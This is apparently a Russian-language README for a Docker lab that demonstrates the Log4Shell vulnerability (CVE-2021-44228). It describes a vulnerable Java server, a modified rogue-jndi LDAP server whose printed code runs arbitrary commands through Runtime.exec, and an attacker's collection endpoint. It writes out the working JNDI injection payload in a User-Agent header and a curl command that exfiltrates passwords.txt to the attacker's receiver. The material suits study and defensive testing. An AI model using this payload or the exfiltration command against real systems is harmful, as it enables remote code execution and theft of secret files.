
Демонстрация эксплуатации CVE-2021-44228 (Log4Shell) на основе Docker, включающая уязвимый Java-сервер, вредоносный LDAP-сервер и эксфильтрацию данных на управляемый атакующим приемник.
Простая демонстрация CVE-2021-44228 для передачи данных с уязвимого сервера на веб-сервис, контролируемый атакующим. Все участвующие компоненты запускаются через Docker.
Это стандартный Java-сервер, выступающий в роли жертвы. Он работает на:
8u111Этот сервер УЯЗВИМ при данной конфигурации.
Дополнительная информация:
/logging (GET) будет логировать user agent с помощью Log4J/foo/passwords.txt существует (цель атакующего)Содержимое passwords.txt:
my secret
Это стандартный Java-сервер, выступающий в роли сборщика данных атакующего. Он работает на:
17Дополнительная информация:
receiver (POST) будет логировать тело запросаЭто LDAP-сервер на базе rogue-jndi.
Его класс ExportJava был изменён таким образом, чтобы команды, переданные через флаг -c, выполнялись.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
При запросе от уязвимого сервера он ответит классом, который при инстанцировании выполнит следующую команду:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Это позволит отправить содержимое /foo/passwords.txt на подготовленный эндпоинт вредоносного приёмника.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt сервера../stop.sh